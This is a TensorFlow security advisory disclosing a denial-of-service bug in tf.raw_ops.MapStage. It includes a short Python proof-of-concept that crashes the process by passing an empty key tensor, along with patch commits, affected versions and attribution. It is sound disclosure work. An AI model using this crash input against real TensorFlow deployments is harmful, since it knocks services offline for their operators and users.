`CHECK`-fail in `MapStage`
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`:
```python
import tensorflow as tf
tf.raw_ops.MapStage(
key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
indices=tf.constant((0), dtype=tf.int32),
values=[tf.constant((0), dtype=tf.int32)],
dtypes=[tf.int32,
tf.int64],
capacity=0,
memory_limit=0,
container='',
shared_name='')
```
The implementation
https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513 does not check that the `key` input is a valid non-empty tensor.
### Patches
We have patched the issue in GitHub commit d7de67733925de196ec8863a33445b73f9562d1d
https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.